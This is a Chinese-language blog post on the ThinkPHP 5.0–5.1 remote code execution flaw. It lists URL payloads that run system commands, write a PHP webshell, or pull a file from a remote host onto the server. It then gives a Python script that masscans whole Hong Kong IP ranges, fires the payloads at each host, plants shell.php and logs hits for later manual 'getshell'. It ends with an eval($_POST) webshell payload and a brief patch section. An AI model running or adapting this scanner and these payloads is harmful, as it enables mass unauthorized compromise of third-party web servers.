python批量扫描thinkphp5.0-5.1高危漏洞

漏洞概况

ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

漏洞影响范围:

Thinkphp 5.1.0 – 5.1.31
Thinkphp 5.0.5 – 5.0.23

漏洞产生原因:

Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在 admin,index 模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。

1. /index.php?s=index/\think\Request/input&filter=phpinfo&data=1
2. /index.php?s=index/\think\Request/input&filter=system&data=id
3. /index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4. /index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8. /index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
9. /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['joker']);&joker=system("whoami");
10. /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))
(先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件  而且不带<>)

python批量扫描

调试环境位kali,python2,masscan

  1. #-*-coding:utf-8-*-
  2. import os
  3. import re
  4. import sys
  5. import time
  6. import multiprocessing
  7. import urllib2
  8. import requests
  9. import urllib
  10. import threading
  11. import queue
  12.  
  13. payload = {
  14. 0:r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
  15. 1:r"?s=index/\think\Request/input&filter=system&data=echo%20www_admintony_com",
  16. 2:r"?s=index/\think\view\driver\Php/display&content=%3C?php%20echo%20www_admintony_com;?%3E",
  17. 3:r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
  18. 4:r"?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20echo%20\"www_admintony_com\";?%3E"
  19. }
  20. headers={'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36',
  21. 'referer':'http://baidu.com'}
  22.  
  23. class store(threading.Thread):
  24. def __init__(self,queue,proxys,urls):
  25. threading.Thread.__init__(self)
  26. self.queue =queue
  27. self.proxys = proxys
  28. self.urls =urls
  29.  
  30. def run(self):
  31. try:
  32. scanThink(self.proxys, self.urls)
  33. except Exception as e:
  34. print(e)
  35. finally:
  36. self.queue.get()
  37. self .queue.task_done()
  38. #----------------------------------------------------------------------
  39. def main(prots,ip_dic):
  40. """
  41. 主函数,处理输入的参数
  42. """
  43. iplist = None
  44. try:
  45. url_file = open('urls.txt','r')
  46. urls = url_file.readlines()
  47. url_file.close()
  48.  
  49. iplist=[]
  50. _ipFile=open(ip_dic, 'r').readlines()
  51. for echo in _ipFile:
  52. ip=re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", echo)
  53. if ip != []:
  54. #print ip[0]
  55. iplist.append(ip[0])
  56. p =0
  57. print "Start test porxy..."
  58. maxTreads=150
  59. q=queue.Queue(maxTreads)
  60. for proxys in iplist:
  61. q.put(proxys)
  62. t=store(q, proxys, urls)
  63. t.start()
  64. q.join()
  65. print("over")
  66. except Exception:
  67. print "[!] The path of the dictionary file is incorrect"
  68. pass
  69. #exit()
  70. #----------------------------------------------------------------------
  71. def scanThink(ip,urls):
  72. i = 0
  73. flag =False
  74. URL = "http://" + ip.strip()
  75. url = URL + "/" + payload.get(i)
  76. print URL
  77. while i<5:
  78. #print(payload.get(i))
  79. if not flag:
  80. if i<4:
  81. flag = Requests(url)
  82. elif i==4:
  83. flag = Requests_write(url,URL)
  84. i = i+1
  85. else:
  86. break
  87. if i!=5:
  88. print "\033[1;32;41m"+url+"\033[0m"
  89. output = open("good.txt", 'a')
  90. output.write(url+"\n")
  91. def Requests(url):
  92. res = requests.get(url,headers=headers,timeout=2)
  93. if 'www_admintony_com' in res.text and 'echo' not in res.text:
  94. return True
  95. else:
  96. return False
  97.  
  98. def Requests_write(url,URL):
  99. # 写shell
  100. requests.get(url,headers=headers,timeout=2)
  101. # 验证是否写入成功
  102. res1 = requests.get(URL+'/shell.php',timeout=2)
  103. if 'www_admintony_com' in res1.text and 'echo' not in res.text:
  104. return True
  105. else:
  106. return False
  107. #----------------------------------------------------------------------
  108. if __name__ == '__main__':
  109.  
  110. prots = ['80']
  111. ip_dic = "proxy.txt"
  112. ipl="http://ipblock.chacuo.net/down/t_txt=c_HK"
  113. req =urllib2.Request(ipl)
  114. res =urllib2.urlopen(req,timeout=5).read()
  115. #print res
  116. ipd=re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\/[0-9]{1,2}\b", res)
  117. #print ipd
  118. for i in ipd[6:]:
  119. print i
  120. for prot in prots:
  121. ########################################
  122. #MASSCAN
  123. os.system("/root/masscan/bin/./masscan %s -p%s --rate 25000 -oX %s --wait 2" % (i,prot,ip_dic))
  124. #######################################
  125. time.sleep(1)
  126. main(prot,ip_dic)
  127. time.sleep(5)
  128. exit()

根据扫描出的结果然后手动GETSHELL或者继续完善编写PYTHON直接一部到位

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval%28$_POST%5B%27pa%27%5D%29;?%3E

我已测试复现过该漏洞。
具体漏洞分析过程不在详述,已很多文章介绍,
请自行搜索GOOGLE,度娘

安全漏洞手动修正方法

5.1版本

thinkphp/library/think/route/dispatch/Url.php 类的parseUrl方法,解析控制器后加上 添加

if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);
}

5.0版本

1、使用composer或者git直接更新

2、在thinkphp/library/think/文件下找到App.php

查找module方法,找到获取控制器名$controller = strip_tags(shr:$result[1] ?: $config[‘default_controller]);

在这句话下面添加一段代码
if (!preg_match(’/1(\w|.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);
}

漏洞poc

https://github.com/heroanswer/thinkphp_rce_poc

参考链接

https://www.cnblogs.com/bmjoker/p/10110868.html

https://blog.csdn.net/weixin_42476734/article/details/86228944

https://www.ddosi.com/b49/

 

发表评论

邮箱地址不会被公开。 必填项已用*标注